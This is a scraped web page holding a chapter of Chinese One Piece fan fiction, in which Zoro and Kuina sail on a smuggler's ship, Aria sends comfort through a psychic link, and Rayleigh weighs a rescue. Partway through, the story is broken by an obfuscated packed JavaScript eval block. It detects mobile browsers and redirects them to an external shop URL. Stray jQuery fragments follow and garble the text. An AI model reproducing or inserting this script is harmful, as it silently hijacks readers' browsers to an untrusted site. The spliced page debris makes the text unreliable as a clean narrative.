夜幕降临时,夏琪回来了。

    她带回了一个消息:船已经安排好了。40号GR那个专做偷渡生意的老熟人——“鼹鼠”莫里斯,有一艘小型货船今晚出发,前往新世界边缘的一座中转岛。船上装载的是运往新世界的违禁药品和武器,伪装成普通商船,航线隐蔽,海军的巡逻船通常不会盘查。

    但莫里斯只肯带两个人。他的船不大,多一个人就多一分暴露的风险。而且他开价很高——八千万贝利,预付一半。

    “两个人够了。”索隆说,“我和古伊娜去。雷利先生已经在那边,我们过去和他会合。”

    “你确定?”夏琪看着他,“新世界可不是伟大航路前半段能比的。你们俩一个重伤初愈,一个连船都没有,到了那边怎么行动?”

    “到了再说。”索隆的回答一如既往地干脆。

    古伊娜站在他身边,没有说话,但眼神表明了她的态度。

    夏琪看了看他们俩,叹了口气,没有再劝。她从口袋里掏出一张折叠的海图和一把铜钥匙,递给索隆。

    “这是莫里斯那艘船的停靠位置和接头暗号。到了中转岛之后,找一个叫‘瘸腿’达克的人,他是我的旧识,会给你们提供下一步的帮助。”

    索隆接过海图和钥匙,点了点头:“谢了。”

    “别急着谢。”夏琪点燃一支烟,“活着回来再说。”

    深夜十一时,40号GR,废弃码头。

    月光被厚厚的云层遮蔽,海面上只有零星几点渔火。空气中弥漫着咸腥的海风和机油的气味。

    索隆和古伊娜站在码头边缘,望着前方那艘不起眼的小型货船。船体锈迹斑斑,甲板上堆满了盖着防水布的货物,看起来和任何一艘跑短途运输的破旧货船没什么区别。

    但船舷外侧,用油漆刷着一个模糊的鼹鼠图案——那是莫里斯的标志。

    “就是那艘。”索隆压低声音说。

    两人沿着跳板走上船。甲板上没有人,只有船舱里透出一丝昏黄的灯光。索隆按照夏琪给的暗号,在舱门上敲了三下,停顿两秒,又敲了两下。

    舱门从里面被打开,一个身材矮胖、留着两撇鼠须的中年男人探出头来,上下打量了他们一番。

    “两个人?”

    “两个。”索隆回答。

    “钱呢?”

    索隆将一个鼓鼓囊囊的布袋递过去。莫里斯掂了掂分量,满意地点了点头,让开身子:“进来吧。记住,在到达中转岛之前,不许出船舱,不许大声说话,不许使用任何可能暴露位置的通讯设备。如果有人查船,你们就是船上的搬运工,懂了吗?”

    “懂了。”

    莫里斯将他们带到船舱底部一个狭小的隔间,里面只有两张简陋的床铺和一盏昏暗的灯。空气闷热,带着机油和潮湿木材的味道。

    “将就一下吧。”莫里斯说完,就转身离开了。

    索隆将行李放下,检查了一下门窗。古伊娜在床边坐下,闭目养神。

    船体微微一震,引擎的轰鸣声从底部传来。货船缓缓离开码头,驶入夜色笼罩的海面。

    他们出发了。

    海军本部,深夜。

    静滞观察室内,值班研究员打着哈欠,盯着屏幕上平稳跳动的数据。样本状态稳定,没有异常波动。又是一个无聊的夜班。

    他不知道的是,在那灰色的“茧”中,艾莉娅正睁着眼睛,默默地感受着那股跨越遥远海域传来的共鸣。

    银发少年的共鸣实验虽然被中断了,但那种联系并没有完全断开。它像一根极细的丝线,在两人的意识之间若隐若现地连接着。

    艾莉娅能感觉到,那个少年在害怕。他不知道自己身上发生了什么,不知道为什么那些穿着白大褂的人要用针扎他,为什么要把他泡在那些发光的液体里。他只知道自己很疼,很冷,很想回家。

    但回不去了。

    那种孤独和无助,艾莉娅太熟悉了。

    她想起那条拥挤、肮脏的奴隶船。想起那些被锁链拴在一起的、眼神空洞的人们。想起那个跪在甲板上、浑身是伤、却依然高昂着头的小女孩——有着一头乌黑的长发,和一双燃烧着怒火与不屈的眼睛。

    那是她穿越到这个陌生世界后,遇到的第一个“同类”。不是同样来自异乡,而是同样被困在绝境中,却依然不肯低头的人。

    那时候她自己也不过是刚刚来到这个世界,对这具身体的力量一无所知,对未来的命运一片茫然。但她记得自己握住了那个小女孩被锁链磨破的手腕,对她说:“别认输。”

    后来她们分开了。她不知道那个小女孩后来怎么样了,是否摆脱了奴隶的身份,是否找到了属于自己的自由。但那份在绝境中相互扶持的记忆,一直留在她心里。

    而现在,隔着遥远的距离,隔着冰冷的实验舱壁,她又感受到了那种相似的、被困住的、孤独的气息。

    她深吸一口气,将自己的意识沿着那根细线,轻轻地、小心翼翼地传递过去。

    不是语言,不是图像。只是一缕温暖的、安抚的意念。

    “别怕。你不是一个人。”

    她没有收到回复。但她感觉到,那根细线的另一端,颤抖的频率,似乎稍微平稳了一些。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17661533|202994||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>庞克禁区,深夜。

    雷利站在客房的窗前,望着窗外深不见底的黑暗海水。基地建在海底岩层中,窗户外面是厚厚的防压玻璃,再往外就是永恒的黑暗和偶尔游过的深海鱼类。

    他的见闻色霸气感知到,实验室那边的能量活动在今天傍晚已经基本停止了。第二阶段的共鸣实验似乎遇到了瓶颈,Dr.因佩尔下令暂停,明天再重新调整方案。

    那个银发少年被转移到了更深层的休眠舱中,周围加强了防护。

    雷利在考虑一个问题:要不要趁今晚动手?

    他有把握在不惊动大部分守卫的情况下潜入到核心区域,但那个银发少年的休眠舱周围有三道能量屏障,而且战桃丸就驻扎在那一层。一旦交手,必然会引起整个基地的警报。

    到时候,他不仅要面对战桃丸和基地的防御力量,还要面对随时可能通过远程连接介入的贝加庞克。

    风险太大了。

    但如果等到明天,实验继续推进,那个少年的状态可能会变得更不稳定,甚至可能被彻底“激活”,成为贝加庞克手中真正的“钥匙”。到那时,再想带走他就更难了。

    雷利闭上眼睛,权衡着利弊。

    最终,他做出了决定。

    等。

    但不是被动地等。他要在今晚,先去做另一件事——去基地的资料库,找到关于“净化之源”和那股诅咒力量的更多信息。如果运气好,或许还能找到一些关于艾莉娅的研究记录。

    他需要知道,海军本部那边,到底在打什么算盘。

    黎明前最黑暗的时刻。

    香波地群岛的海岸线已经消失在货船的后方,周围只剩下一望无际的黑暗海水。莫里斯的货船正沿着一条隐蔽的航线,向新世界边缘稳步前进。

    船舱底部,古伊娜从浅眠中醒来,看到索隆正坐在对面,借着昏暗的灯光擦拭和道一文字。

    “你不睡?”她问。

    “守夜。”索隆头也不抬,“这船上的人不一定可信。”

    古伊娜没有反驳,坐起身来,活动了一下有些僵硬的手臂。“让我守下半夜吧。你也需要休息。”

    索隆看了她一眼,确认她的精神状态确实还好,便点了点头,收刀入鞘,靠在墙边闭上了眼睛。

    古伊娜站起身,走到舱门边,透过缝隙听着外面的动静。引擎声平稳,甲板上偶尔传来莫里斯和船员的交谈声,一切正常。

    她抬头,透过舱壁上一个小小的圆形舷窗,望向外面漆黑的海面。

    海风咸腥,夜色深沉。

    新世界,还在前方等着他们。